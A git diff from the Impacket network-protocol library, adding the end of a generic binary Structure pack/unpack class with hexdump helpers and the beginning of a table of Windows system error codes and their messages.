+        for field in self.commonHdr+self.structure:
+            if self.debug:
+                print("fromString( %s | %s | %r )" % (field[0], field[1], data))
+            size = self.calcUnpackSize(field[1], data, field[0])
+            if self.debug:
+                print("  size = %d" % size)
+            dataClassOrCode = b
+            if len(field) > 2:
+                dataClassOrCode = field[2]
+            try:
+                self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0])
+            except Exception as e:
+                e.args += ("When unpacking field '%s | %s | %r[:%d]'" % (field[0], field[1], data, size),)
+                raise
+
+            size = self.calcPackSize(field[1], self[field[0]], field[0])
+            if self.alignment and size % self.alignment:
+                size += self.alignment - (size % self.alignment)
+            data = data[size:]
+
+        return self
+        
+    def __setitem__(self, key, value):
+        self.fields[key] = value
+        self.data = None        # force recompute
+
+    def __getitem__(self, key):
+        return self.fields[key]
+
+    def __delitem__(self, key):
+        del self.fields[key]
+        
+    def __str__(self):
+        return self.getData()
+
+    def __len__(self):
+        # XXX: improve
+        return len(self.getData())
+
+    def pack(self, format, data, field = None):
+        if self.debug:
+            print("  pack( %s | %r | %s)" %  (format, data, field))
+
+        if field:
+            addressField = self.findAddressFieldFor(field)
+            if (addressField is not None) and (data is None):
+                return b''
+
+        # void specifier
+        if format[:1] == '_':
+            return b''
+
+        # quote specifier
+        if format[:1] == "'" or format[:1] == '"':
+            return b(format[1:])
+
+        # code specifier
+        two = format.split('=')
+        if len(two) >= 2:
+            try:
+                return self.pack(two[0], data)
+            except:
+                fields = {'self':self}
+                fields.update(self.fields)
+                return self.pack(two[0], eval(two[1], {}, fields))
+
+        # address specifier
+        two = format.split('&')
+        if len(two) == 2:
+            try:
+                return self.pack(two[0], data)
+            except:
+                if (two[1] in self.fields) and (self[two[1]] is not None):
+                    return self.pack(two[0], id(self[two[1]]) & ((1<<(calcsize(two[0])*8))-1) )
+                else:
+                    return self.pack(two[0], 0)
+
+        # length specifier
+        two = format.split('-')
+        if len(two) == 2:
+            try:
+                return self.pack(two[0],data)
+            except:
+                return self.pack(two[0], self.calcPackFieldSize(two[1]))
+
+        # array specifier
+        two = format.split('*')
+        if len(two) == 2:
+            answer = bytes()
+            for each in data:
+                answer += self.pack(two[1], each)
+            if two[0]:
+                if two[0].isdigit():
+                    if int(two[0]) != len(data):
+                        raise Exception("Array field has a constant size, and it doesn't match the actual value")
+                else:
+                    return self.pack(two[0], len(data))+answer
+            return answer
+
+        # "printf" string specifier
+        if format[:1] == '%':
+            # format string like specifier
+            return b(format % data)
+
+        # asciiz specifier
+        if format[:1] == 'z':
+            if isinstance(data,bytes):
+                return data + b('\0')
+            return bytes(b(data)+b('\0'))
+
+        # unicode specifier
+        if format[:1] == 'u':
+            return bytes(data+b('\0\0') + (len(data) & 1 and b('\0') or b''))
+
+        # DCE-RPC/NDR string specifier
+        if format[:1] == 'w':
+            if len(data) == 0:
+                data = b('\0\0')
+            elif len(data) % 2:
+                data = b(data) + b('\0')
+            l = pack('<L', len(data)//2)
+            return b''.join([l, l, b('\0\0\0\0'), data])
+
+        if data is None:
+            raise Exception("Trying to pack None")
+        
+        # literal specifier
+        if format[:1] == ':':
+            if isinstance(data, Structure):
+                return data.getData()
+            # If we have an object that can serialize itself, go ahead
+            elif hasattr(data, "getData"):
+                return data.getData()
+            elif isinstance(data, int):
+                return bytes(data)
+            elif isinstance(data, bytes) is not True:
+                return bytes(b(data))
+            else:
+                return data
+
+        if format[-1:] == 's':
+            # Let's be sure we send the right type
+            if isinstance(data, bytes) or isinstance(data, bytearray):
+                return pack(format, data)
+            else:
+                return pack(format, b(data))
+
+        # struct like specifier
+        return pack(format, data)
+
+    def unpack(self, format, data, dataClassOrCode = b, field = None):
+        if self.debug:
+            print("  unpack( %s | %r )" %  (format, data))
+
+        if field:
+            addressField = self.findAddressFieldFor(field)
+            if addressField is not None:
+                if not self[addressField]:
+                    return
+
+        # void specifier
+        if format[:1] == '_':
+            if dataClassOrCode != b:
+                fields = {'self':self, 'inputDataLeft':data}
+                fields.update(self.fields)
+                return eval(dataClassOrCode, {}, fields)
+            else:
+                return None
+
+        # quote specifier
+        if format[:1] == "'" or format[:1] == '"':
+            answer = format[1:]
+            if b(answer) != data:
+                raise Exception("Unpacked data doesn't match constant value '%r' should be '%r'" % (data, answer))
+            return answer
+
+        # address specifier
+        two = format.split('&')
+        if len(two) == 2:
+            return self.unpack(two[0],data)
+
+        # code specifier
+        two = format.split('=')
+        if len(two) >= 2:
+            return self.unpack(two[0],data)
+
+        # length specifier
+        two = format.split('-')
+        if len(two) == 2:
+            return self.unpack(two[0],data)
+
+        # array specifier
+        two = format.split('*')
+        if len(two) == 2:
+            answer = []
+            sofar = 0
+            if two[0].isdigit():
+                number = int(two[0])
+            elif two[0]:
+                sofar += self.calcUnpackSize(two[0], data)
+                number = self.unpack(two[0], data[:sofar])
+            else:
+                number = -1
+
+            while number and sofar < len(data):
+                nsofar = sofar + self.calcUnpackSize(two[1],data[sofar:])
+                answer.append(self.unpack(two[1], data[sofar:nsofar], dataClassOrCode))
+                number -= 1
+                sofar = nsofar
+            return answer
+
+        # "printf" string specifier
+        if format[:1] == '%':
+            # format string like specifier
+            return format % data
+
+        # asciiz specifier
+        if format == 'z':
+            if data[-1:] != b('\x00'):
+                raise Exception("%s 'z' field is not NUL terminated: %r" % (field, data))
+            if PY3:
+                return data[:-1].decode('latin-1')
+            else:
+                return data[:-1]
+
+        # unicode specifier
+        if format == 'u':
+            if data[-2:] != b('\x00\x00'):
+                raise Exception("%s 'u' field is not NUL-NUL terminated: %r" % (field, data))
+            return data[:-2] # remove trailing NUL
+
+        # DCE-RPC/NDR string specifier
+        if format == 'w':
+            l = unpack('<L', data[:4])[0]
+            return data[12:12+l*2]
+
+        # literal specifier
+        if format == ':':
+            if isinstance(data, bytes) and dataClassOrCode is b:
+                return data
+            return dataClassOrCode(data)
+
+        # struct like specifier
+        return unpack(format, data)[0]
+
+    def calcPackSize(self, format, data, field = None):
+#        # print "  calcPackSize  %s:%r" %  (format, data)
+        if field:
+            addressField = self.findAddressFieldFor(field)
+            if addressField is not None:
+                if not self[addressField]:
+                    return 0
+
+        # void specifier
+        if format[:1] == '_':
+            return 0
+
+        # quote specifier
+        if format[:1] == "'" or format[:1] == '"':
+            return len(format)-1
+
+        # address specifier
+        two = format.split('&')
+        if len(two) == 2:
+            return self.calcPackSize(two[0], data)
+
+        # code specifier
+        two = format.split('=')
+        if len(two) >= 2:
+            return self.calcPackSize(two[0], data)
+
+        # length specifier
+        two = format.split('-')
+        if len(two) == 2:
+            return self.calcPackSize(two[0], data)
+
+        # array specifier
+        two = format.split('*')
+        if len(two) == 2:
+            answer = 0
+            if two[0].isdigit():
+                    if int(two[0]) != len(data):
+                        raise Exception("Array field has a constant size, and it doesn't match the actual value")
+            elif two[0]:
+                answer += self.calcPackSize(two[0], len(data))
+
+            for each in data:
+                answer += self.calcPackSize(two[1], each)
+            return answer
+
+        # "printf" string specifier
+        if format[:1] == '%':
+            # format string like specifier
+            return len(format % data)
+
+        # asciiz specifier
+        if format[:1] == 'z':
+            return len(data)+1
+
+        # asciiz specifier
+        if format[:1] == 'u':
+            l = len(data)
+            return l + (l & 1 and 3 or 2)
+
+        # DCE-RPC/NDR string specifier
+        if format[:1] == 'w':
+            l = len(data)
+            return 12+l+l % 2
+
+        # literal specifier
+        if format[:1] == ':':
+            return len(data)
+
+        # struct like specifier
+        return calcsize(format)
+
+    def calcUnpackSize(self, format, data, field = None):
+        if self.debug:
+            print("  calcUnpackSize( %s | %s | %r)" %  (field, format, data))
+
+        # void specifier
+        if format[:1] == '_':
+            return 0
+
+        addressField = self.findAddressFieldFor(field)
+        if addressField is not None:
+            if not self[addressField]:
+                return 0
+
+        try:
+            lengthField = self.findLengthFieldFor(field)
+            return int(self[lengthField])
+        except Exception:
+            pass
+
+        # XXX: Try to match to actual values, raise if no match
+        
+        # quote specifier
+        if format[:1] == "'" or format[:1] == '"':
+            return len(format)-1
+
+        # address specifier
+        two = format.split('&')
+        if len(two) == 2:
+            return self.calcUnpackSize(two[0], data)
+
+        # code specifier
+        two = format.split('=')
+        if len(two) >= 2:
+            return self.calcUnpackSize(two[0], data)
+
+        # length specifier
+        two = format.split('-')
+        if len(two) == 2:
+            return self.calcUnpackSize(two[0], data)
+
+        # array specifier
+        two = format.split('*')
+        if len(two) == 2:
+            answer = 0
+            if two[0]:
+                if two[0].isdigit():
+                    number = int(two[0])
+                else:
+                    answer += self.calcUnpackSize(two[0], data)
+                    number = self.unpack(two[0], data[:answer])
+
+                while number:
+                    number -= 1
+                    answer += self.calcUnpackSize(two[1], data[answer:])
+            else:
+                while answer < len(data):
+                    answer += self.calcUnpackSize(two[1], data[answer:])
+            return answer
+
+        # "printf" string specifier
+        if format[:1] == '%':
+            raise Exception("Can't guess the size of a printf like specifier for unpacking")
+
+        # asciiz specifier
+        if format[:1] == 'z':
+            return data.index(b('\x00'))+1
+
+        # asciiz specifier
+        if format[:1] == 'u':
+            l = data.index(b('\x00\x00'))
+            return l + (l & 1 and 3 or 2)
+
+        # DCE-RPC/NDR string specifier
+        if format[:1] == 'w':
+            l = unpack('<L', data[:4])[0]
+            return 12+l*2
+
+        # literal specifier
+        if format[:1] == ':':
+            return len(data)
+
+        # struct like specifier
+        return calcsize(format)
+
+    def calcPackFieldSize(self, fieldName, format = None):
+        if format is None:
+            format = self.formatForField(fieldName)
+
+        return self.calcPackSize(format, self[fieldName])
+
+    def formatForField(self, fieldName):
+        for field in self.commonHdr+self.structure:
+            if field[0] == fieldName:
+                return field[1]
+        raise Exception("Field %s not found" % fieldName)
+
+    def findAddressFieldFor(self, fieldName):
+        descriptor = '&%s' % fieldName
+        l = len(descriptor)
+        for field in self.commonHdr+self.structure:
+            if field[1][-l:] == descriptor:
+                return field[0]
+        return None
+        
+    def findLengthFieldFor(self, fieldName):
+        descriptor = '-%s' % fieldName
+        l = len(descriptor)
+        for field in self.commonHdr+self.structure:
+            if field[1][-l:] == descriptor:
+                return field[0]
+        return None
+        
+    def zeroValue(self, format):
+        two = format.split('*')
+        if len(two) == 2:
+            if two[0].isdigit():
+                return (self.zeroValue(two[1]),)*int(two[0])
+                        
+        if not format.find('*') == -1:
+            return ()
+        if 's' in format:
+            return b''
+        if format in ['z',':','u']:
+            return b''
+        if format == 'w':
+            return b('\x00\x00')
+
+        return 0
+
+    def clear(self):
+        for field in self.commonHdr + self.structure:
+            self[field[0]] = self.zeroValue(field[1])
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        ind = ' '*indent
+        print("\n%s" % msg)
+        fixedFields = []
+        for field in self.commonHdr+self.structure:
+            i = field[0] 
+            if i in self.fields:
+                fixedFields.append(i)
+                if isinstance(self[i], Structure):
+                    self[i].dump('%s%s:{' % (ind,i), indent = indent + 4)
+                    print("%s}" % ind)
+                else:
+                    print("%s%s: {%r}" % (ind,i,self[i]))
+        # Do we have remaining fields not defined in the structures? let's 
+        # print them
+        remainingFields = list(set(self.fields) - set(fixedFields))
+        for i in remainingFields:
+            if isinstance(self[i], Structure):
+                self[i].dump('%s%s:{' % (ind,i), indent = indent + 4)
+                print("%s}" % ind)
+            else:
+                print("%s%s: {%r}" % (ind,i,self[i]))
+
+def pretty_print(x):
+    if chr(x) in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ':
+       return chr(x)
+    else:
+       return u'.'
+
+def hexdump(data, indent = ''):
+    if data is None:
+        return
+    if isinstance(data, int):
+        data = str(data).encode('utf-8')
+    x=bytearray(data)
+    strLen = len(x)
+    i = 0
+    while i < strLen:
+        line = " %s%04x   " % (indent, i)
+        for j in range(16):
+            if i+j < strLen:
+                line += "%02X " % x[i+j]
+            else:
+                line += u"   "
+            if j%16 == 7:
+                line += " "
+        line += "  "
+        line += ''.join(pretty_print(x) for x in x[i:i+16] )
+        print (line)
+        i += 16
+
+def parse_bitmask(dict, value):
+    ret = ''
+    
+    for i in range(0, 31):
+        flag = 1 << i
+
+        if value & flag == 0:
+            continue
+
+        if flag in dict:
+            ret += '%s | ' % dict[flag]
+        else:
+            ret += "0x%.8X | " % flag
+
+    if len(ret) == 0:
+        return '0'
+    else:
+        return ret[:-3]
diff --git a/impacket/system_errors.py b/impacket/system_errors.py
new file mode 100644
index 0000000..d779553
--- /dev/null
+++ b/impacket/system_errors.py
@@ -0,0 +1,5524 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SYSTEM Errors from [MS-ERREF]. Ideally all the files
+#   should grab the error codes from here
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+ERROR_MESSAGES = {
+        0x00000000: ("ERROR_SUCCESS", "The operation completed successfully."),
+        0x00000001: ("ERROR_INVALID_FUNCTION", "Incorrect function."),
+        0x00000002: ("ERROR_FILE_NOT_FOUND", "The system cannot find the file specified."),
+        0x00000003: ("ERROR_PATH_NOT_FOUND", "The system cannot find the path specified."),
+        0x00000004: ("ERROR_TOO_MANY_OPEN_FILES", "The system cannot open the file."),
+        0x00000005: ("ERROR_ACCESS_DENIED", "Access is denied."),
+        0x00000006: ("ERROR_INVALID_HANDLE", "The handle is invalid."),
+        0x00000007: ("ERROR_ARENA_TRASHED", "The storage control blocks were destroyed."),
+        0x00000008: ("ERROR_NOT_ENOUGH_MEMORY", "Not enough storage is available to process this command."),
+        0x00000009: ("ERROR_INVALID_BLOCK", "The storage control block address is invalid."),
+        0x0000000a: ("ERROR_BAD_ENVIRONMENT", "The environment is incorrect."),
+        0x0000000b: ("ERROR_BAD_FORMAT", "An attempt was made to load a program with an incorrect format."),
+        0x0000000c: ("ERROR_INVALID_ACCESS", "The access code is invalid."),
+        0x0000000d: ("ERROR_INVALID_DATA", "The data is invalid."),
+        0x0000000e: ("ERROR_OUTOFMEMORY", "Not enough storage is available to complete this operation."),
+        0x0000000f: ("ERROR_INVALID_DRIVE", "The system cannot find the drive specified."),
+        0x00000010: ("ERROR_CURRENT_DIRECTORY", "The directory cannot be removed."),
+        0x00000011: ("ERROR_NOT_SAME_DEVICE", "The system cannot move the file to a different disk drive."),
+        0x00000012: ("ERROR_NO_MORE_FILES", "There are no more files."),
+        0x00000013: ("ERROR_WRITE_PROTECT", "The media is write protected."),
+        0x00000014: ("ERROR_BAD_UNIT", "The system cannot find the device specified."),
+        0x00000015: ("ERROR_NOT_READY", "The device is not ready."),
+        0x00000016: ("ERROR_BAD_COMMAND", "The device does not recognize the command."),
+        0x00000017: ("ERROR_CRC", "Data error (cyclic redundancy check)."),
+        0x00000018: ("ERROR_BAD_LENGTH", "The program issued a command but the command length is incorrect."),
+        0x00000019: ("ERROR_SEEK", "The drive cannot locate a specific area or track on the disk."),
+        0x0000001a: ("ERROR_NOT_DOS_DISK", "The specified disk or diskette cannot be accessed."),
+        0x0000001b: ("ERROR_SECTOR_NOT_FOUND", "The drive cannot find the sector requested."),
+        0x0000001c: ("ERROR_OUT_OF_PAPER", "The printer is out of paper."),
+        0x0000001d: ("ERROR_WRITE_FAULT", "The system cannot write to the specified device."),
+        0x0000001e: ("ERROR_READ_FAULT", "The system cannot read from the specified device."),
+        0x0000001f: ("ERROR_GEN_FAILURE", "A device attached to the system is not functioning."),
+        0x00000020: ("ERROR_SHARING_VIOLATION", "The process cannot access the file because it is being used by another process."),
+        0x00000021: ("ERROR_LOCK_VIOLATION", "The process cannot access the file because another process has locked a portion of the file."),
+        0x00000022: ("ERROR_WRONG_DISK", "The wrong diskette is in the drive."),
+        0x00000024: ("ERROR_SHARING_BUFFER_EXCEEDED", "Too many files opened for sharing."),
+        0x00000026: ("ERROR_HANDLE_EOF", "Reached the end of the file."),
+        0x00000027: ("ERROR_HANDLE_DISK_FULL", "The disk is full."),
+        0x00000032: ("ERROR_NOT_SUPPORTED", "The request is not supported."),
+        0x00000033: ("ERROR_REM_NOT_LIST", "Windows cannot find the network path. Verify that the network path is correct and the destination computer is not busy or turned off. If Windows still cannot find the network path, contact your network administrator."),
+        0x00000034: ("ERROR_DUP_NAME", "You were not connected because a duplicate name exists on the network. If joining a domain, go to System in Control Panel to change the computer name and try again. If joining a workgroup, choose another workgroup name."),
+        0x00000035: ("ERROR_BAD_NETPATH", "The network path was not found."),
+        0x00000036: ("ERROR_NETWORK_BUSY", "The network is busy."),
+        0x00000037: ("ERROR_DEV_NOT_EXIST", "The specified network resource or device is no longer available."),
+        0x00000038: ("ERROR_TOO_MANY_CMDS", "The network BIOS command limit has been reached."),
+        0x00000039: ("ERROR_ADAP_HDW_ERR", "A network adapter hardware error occurred."),
+        0x0000003a: ("ERROR_BAD_NET_RESP", "The specified server cannot perform the requested operation."),
+        0x0000003b: ("ERROR_UNEXP_NET_ERR", "An unexpected network error occurred."),
+        0x0000003c: ("ERROR_BAD_REM_ADAP", "The remote adapter is not compatible."),
+        0x0000003d: ("ERROR_PRINTQ_FULL", "The printer queue is full."),
+        0x0000003e: ("ERROR_NO_SPOOL_SPACE", "Space to store the file waiting to be printed is not available on the server."),
+        0x0000003f: ("ERROR_PRINT_CANCELLED", "Your file waiting to be printed was deleted."),
+        0x00000040: ("ERROR_NETNAME_DELETED", "The specified network name is no longer available."),
+        0x00000041: ("ERROR_NETWORK_ACCESS_DENIED", "Network access is denied."),
+        0x00000042: ("ERROR_BAD_DEV_TYPE", "The network resource type is not correct."),
+        0x00000043: ("ERROR_BAD_NET_NAME", "The network name cannot be found."),
+        0x00000044: ("ERROR_TOO_MANY_NAMES", "The name limit for the local computer network adapter card was exceeded."),
+        0x00000045: ("ERROR_TOO_MANY_SESS", "The network BIOS session limit was exceeded."),
+        0x00000046: ("ERROR_SHARING_PAUSED", "The remote server has been paused or is in the process of being started."),
+        0x00000047: ("ERROR_REQ_NOT_ACCEP", "No more connections can be made to this remote computer at this time because there are already as many connections as the computer can accept."),
+        0x00000048: ("ERROR_REDIR_PAUSED", "The specified printer or disk device has been paused."),
+        0x00000050: ("ERROR_FILE_EXISTS", "The file exists."),
+        0x00000052: ("ERROR_CANNOT_MAKE", "The directory or file cannot be created."),
+        0x00000053: ("ERROR_FAIL_I24", "Fail on INT 24."),
+        0x00000054: ("ERROR_OUT_OF_STRUCTURES", "Storage to process this request is not available."),
+        0x00000055: ("ERROR_ALREADY_ASSIGNED", "The local device name is already in use."),
+        0x00000056: ("ERROR_INVALID_PASSWORD", "The specified network password is not correct."),
+        0x00000057: ("ERROR_INVALID_PARAMETER", "The parameter is incorrect."),
+        0x00000058: ("ERROR_NET_WRITE_FAULT", "A write fault occurred on the network."),
+        0x00000059: ("ERROR_NO_PROC_SLOTS", "The system cannot start another process at this time."),
+        0x00000064: ("ERROR_TOO_MANY_SEMAPHORES", "Cannot create another system semaphore."),
+        0x00000065: ("ERROR_EXCL_SEM_ALREADY_OWNED", "The exclusive semaphore is owned by another process."),
+        0x00000066: ("ERROR_SEM_IS_SET", "The semaphore is set and cannot be closed."),
+        0x00000067: ("ERROR_TOO_MANY_SEM_REQUESTS", "The semaphore cannot be set again."),
+        0x00000068: ("ERROR_INVALID_AT_INTERRUPT_TIME", "Cannot request exclusive semaphores at interrupt time."),
+        0x00000069: ("ERROR_SEM_OWNER_DIED", "The previous ownership of this semaphore has ended."),
+        0x0000006a: ("ERROR_SEM_USER_LIMIT", "Insert the diskette for drive %1."),
+        0x0000006b: ("ERROR_DISK_CHANGE", "The program stopped because an alternate diskette was not inserted."),
+        0x0000006c: ("ERROR_DRIVE_LOCKED", "The disk is in use or locked by another process."),
+        0x0000006d: ("ERROR_BROKEN_PIPE", "The pipe has been ended."),
+        0x0000006e: ("ERROR_OPEN_FAILED", "The system cannot open the device or file specified."),
+        0x0000006f: ("ERROR_BUFFER_OVERFLOW", "The file name is too long."),
+        0x00000070: ("ERROR_DISK_FULL", "There is not enough space on the disk."),
+        0x00000071: ("ERROR_NO_MORE_SEARCH_HANDLES", "No more internal file identifiers available."),
+        0x00000072: ("ERROR_INVALID_TARGET_HANDLE", "The target internal file identifier is incorrect."),
+        0x00000075: ("ERROR_INVALID_CATEGORY", "The IOCTL call made by the application program is not correct."),
+        0x00000076: ("ERROR_INVALID_VERIFY_SWITCH", "The verify-on-write switch parameter value is not correct."),
+        0x00000077: ("ERROR_BAD_DRIVER_LEVEL", "The system does not support the command requested."),
+        0x00000078: ("ERROR_CALL_NOT_IMPLEMENTED", "This function is not supported on this system."),
+        0x00000079: ("ERROR_SEM_TIMEOUT", "The semaphore timeout period has expired."),
+        0x0000007a: ("ERROR_INSUFFICIENT_BUFFER", "The data area passed to a system call is too small."),
+        0x0000007b: ("ERROR_INVALID_NAME", "The filename, directory name, or volume label syntax is incorrect."),
+        0x0000007c: ("ERROR_INVALID_LEVEL", "The system call level is not correct."),
+        0x0000007d: ("ERROR_NO_VOLUME_LABEL", "The disk has no volume label."),
+        0x0000007e: ("ERROR_MOD_NOT_FOUND", "The specified module could not be found."),
+        0x0000007f: ("ERROR_PROC_NOT_FOUND", "The specified procedure could not be found."),
+        0x00000080: ("ERROR_WAIT_NO_CHILDREN", "There are no child processes to wait for."),
+        0x00000081: ("ERROR_CHILD_NOT_COMPLETE", "The %1 application cannot be run in Win32 mode."),
+        0x00000082: ("ERROR_DIRECT_ACCESS_HANDLE", "Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O."),
+        0x00000083: ("ERROR_NEGATIVE_SEEK", "An attempt was made to move the file pointer before the beginning of the file."),
+        0x00000084: ("ERROR_SEEK_ON_DEVICE", "The file pointer cannot be set on the specified device or file."),
+        0x00000085: ("ERROR_IS_JOIN_TARGET", "A JOIN or SUBST command cannot be used for a drive that contains previously joined drives."),
+        0x00000086: ("ERROR_IS_JOINED", "An attempt was made to use a JOIN or SUBST command on a drive that has already been joined."),
+        0x00000087: ("ERROR_IS_SUBSTED", "An attempt was made to use a JOIN or SUBST command on a drive that has already been substituted."),
+        0x00000088: ("ERROR_NOT_JOINED", "The system tried to delete the JOIN of a drive that is not joined."),
+        0x00000089: ("ERROR_NOT_SUBSTED", "The system tried to delete the substitution of a drive that is not substituted."),
+        0x0000008a: ("ERROR_JOIN_TO_JOIN", "The system tried to join a drive to a directory on a joined drive."),
+        0x0000008b: ("ERROR_SUBST_TO_SUBST", "The system tried to substitute a drive to a directory on a substituted drive."),
+        0x0000008c: ("ERROR_JOIN_TO_SUBST", "The system tried to join a drive to a directory on a substituted drive."),
+        0x0000008d: ("ERROR_SUBST_TO_JOIN", "The system tried to SUBST a drive to a directory on a joined drive."),
+        0x0000008e: ("ERROR_BUSY_DRIVE", "The system cannot perform a JOIN or SUBST at this time."),
+        0x0000008f: ("ERROR_SAME_DRIVE", "The system cannot join or substitute a drive to or for a directory on the same drive."),
+        0x00000090: ("ERROR_DIR_NOT_ROOT", "The directory is not a subdirectory of the root directory."),
+        0x00000091: ("ERROR_DIR_NOT_EMPTY", "The directory is not empty."),
+        0x00000092: ("ERROR_IS_SUBST_PATH", "The path specified is being used in a substitute."),
+        0x00000093: ("ERROR_IS_JOIN_PATH", "Not enough resources are available to process this command."),
+        0x00000094: ("ERROR_PATH_BUSY", "The path specified cannot be used at this time."),
+        0x00000095: ("ERROR_IS_SUBST_TARGET", "An attempt was made to join or substitute a drive for which a directory on the drive is the target of a previous substitute."),
+        0x00000096: ("ERROR_SYSTEM_TRACE", "System trace information was not specified in your CONFIG.SYS file, or tracing is disallowed."),
+        0x00000097: ("ERROR_INVALID_EVENT_COUNT", "The number of specified semaphore events for DosMuxSemWait is not correct."),
+        0x00000098: ("ERROR_TOO_MANY_MUXWAITERS", "DosMuxSemWait did not execute; too many semaphores are already set."),
+        0x00000099: ("ERROR_INVALID_LIST_FORMAT", "The DosMuxSemWait list is not correct."),
+        0x0000009a: ("ERROR_LABEL_TOO_LONG", "The volume label you entered exceeds the label character limit of the target file system."),
+        0x0000009b: ("ERROR_TOO_MANY_TCBS", "Cannot create another thread."),
+        0x0000009c: ("ERROR_SIGNAL_REFUSED", "The recipient process has refused the signal."),
+        0x0000009d: ("ERROR_DISCARDED", "The segment is already discarded and cannot be locked."),
+        0x0000009e: ("ERROR_NOT_LOCKED", "The segment is already unlocked."),
+        0x0000009f: ("ERROR_BAD_THREADID_ADDR", "The address for the thread ID is not correct."),
+        0x000000a0: ("ERROR_BAD_ARGUMENTS", "One or more arguments are not correct."),
+        0x000000a1: ("ERROR_BAD_PATHNAME", "The specified path is invalid."),
+        0x000000a2: ("ERROR_SIGNAL_PENDING", "A signal is already pending."),
+        0x000000a4: ("ERROR_MAX_THRDS_REACHED", "No more threads can be created in the system."),
+        0x000000a7: ("ERROR_LOCK_FAILED", "Unable to lock a region of a file."),
+        0x000000aa: ("ERROR_BUSY", "The requested resource is in use."),
+        0x000000ab: ("ERROR_DEVICE_SUPPORT_IN_PROGRESS", "Device's command support detection is in progress."),
+        0x000000ad: ("ERROR_CANCEL_VIOLATION", "A lock request was not outstanding for the supplied cancel region."),
+        0x000000ae: ("ERROR_ATOMIC_LOCKS_NOT_SUPPORTED", "The file system does not support atomic changes to the lock type."),
+        0x000000b4: ("ERROR_INVALID_SEGMENT_NUMBER", "The system detected a segment number that was not correct."),
+        0x000000b6: ("ERROR_INVALID_ORDINAL", "The operating system cannot run %1."),
+        0x000000b7: ("ERROR_ALREADY_EXISTS", "Cannot create a file when that file already exists."),
+        0x000000ba: ("ERROR_INVALID_FLAG_NUMBER", "The flag passed is not correct."),
+        0x000000bb: ("ERROR_SEM_NOT_FOUND", "The specified system semaphore name was not found."),
+        0x000000bc: ("ERROR_INVALID_STARTING_CODESEG", "The operating system cannot run %1."),
+        0x000000bd: ("ERROR_INVALID_STACKSEG", "The operating system cannot run %1."),
+        0x000000be: ("ERROR_INVALID_MODULETYPE", "The operating system cannot run %1."),
+        0x000000bf: ("ERROR_INVALID_EXE_SIGNATURE", "Cannot run %1 in Win32 mode."),
+        0x000000c0: ("ERROR_EXE_MARKED_INVALID", "The operating system cannot run %1."),
+        0x000000c1: ("ERROR_BAD_EXE_FORMAT", "%1 is not a valid Win32 application."),
+        0x000000c2: ("ERROR_ITERATED_DATA_EXCEEDS_64k", "The operating system cannot run %1."),
+        0x000000c3: ("ERROR_INVALID_MINALLOCSIZE", "The operating system cannot run %1."),
+        0x000000c4: ("ERROR_DYNLINK_FROM_INVALID_RING", "The operating system cannot run this application program."),
+        0x000000c5: ("ERROR_IOPL_NOT_ENABLED", "The operating system is not presently configured to run this application."),
+        0x000000c6: ("ERROR_INVALID_SEGDPL", "The operating system cannot run %1."),
+        0x000000c7: ("ERROR_AUTODATASEG_EXCEEDS_64k", "The operating system cannot run this application program."),
+        0x000000c8: ("ERROR_RING2SEG_MUST_BE_MOVABLE", "The code segment cannot be greater than or equal to 64K."),
+        0x000000c9: ("ERROR_RELOC_CHAIN_XEEDS_SEGLIM", "The operating system cannot run %1."),
+        0x000000ca: ("ERROR_INFLOOP_IN_RELOC_CHAIN", "The operating system cannot run %1."),
+        0x000000cb: ("ERROR_ENVVAR_NOT_FOUND", "The system could not find the environment option that was entered."),
+        0x000000cd: ("ERROR_NO_SIGNAL_SENT", "No process in the command subtree has a signal handler."),
+        0x000000ce: ("ERROR_FILENAME_EXCED_RANGE", "The filename or extension is too long."),
+        0x000000cf: ("ERROR_RING2_STACK_IN_USE", "The ring 2 stack is in use."),
+        0x000000d0: ("ERROR_META_EXPANSION_TOO_LONG", "The global filename characters, * or ?, are entered incorrectly or too many global filename characters are specified."),
+        0x000000d1: ("ERROR_INVALID_SIGNAL_NUMBER", "The signal being posted is not correct."),
+        0x000000d2: ("ERROR_THREAD_1_INACTIVE", "The signal handler cannot be set."),
+        0x000000d4: ("ERROR_LOCKED", "The segment is locked and cannot be reallocated."),
+        0x000000d6: ("ERROR_TOO_MANY_MODULES", "Too many dynamic-link modules are attached to this program or dynamic-link module."),
+        0x000000d7: ("ERROR_NESTING_NOT_ALLOWED", "Cannot nest calls to LoadModule."),
+        0x000000d8: ("ERROR_EXE_MACHINE_TYPE_MISMATCH", "This version of %1 is not compatible with the version of Windows you're running. Check your computer's system information and then contact the software publisher."),
+        0x000000d9: ("ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY", "The image file %1 is signed, unable to modify."),
+        0x000000da: ("ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY", "The image file %1 is strong signed, unable to modify."),
+        0x000000dc: ("ERROR_FILE_CHECKED_OUT", "This file is checked out or locked for editing by another user."),
+        0x000000dd: ("ERROR_CHECKOUT_REQUIRED", "The file must be checked out before saving changes."),
+        0x000000de: ("ERROR_BAD_FILE_TYPE", "The file type being saved or retrieved has been blocked."),
+        0x000000df: ("ERROR_FILE_TOO_LARGE", "The file size exceeds the limit allowed and cannot be saved."),
+        0x000000e0: ("ERROR_FORMS_AUTH_REQUIRED", "Access Denied. Before opening files in this location, you must first add the web site to your trusted sites list, browse to the web site, and select the option to login automatically."),
+        0x000000e1: ("ERROR_VIRUS_INFECTED", "Operation did not complete successfully because the file contains a virus or potentially unwanted software."),
+        0x000000e2: ("ERROR_VIRUS_DELETED", "This file contains a virus or potentially unwanted software and cannot be opened. Due to the nature of this virus or potentially unwanted software, the file has been removed from this location."),
+        0x000000e5: ("ERROR_PIPE_LOCAL", "The pipe is local."),
+        0x000000e6: ("ERROR_BAD_PIPE", "The pipe state is invalid."),
+        0x000000e7: ("ERROR_PIPE_BUSY", "All pipe instances are busy."),
+        0x000000e8: ("ERROR_NO_DATA", "The pipe is being closed."),
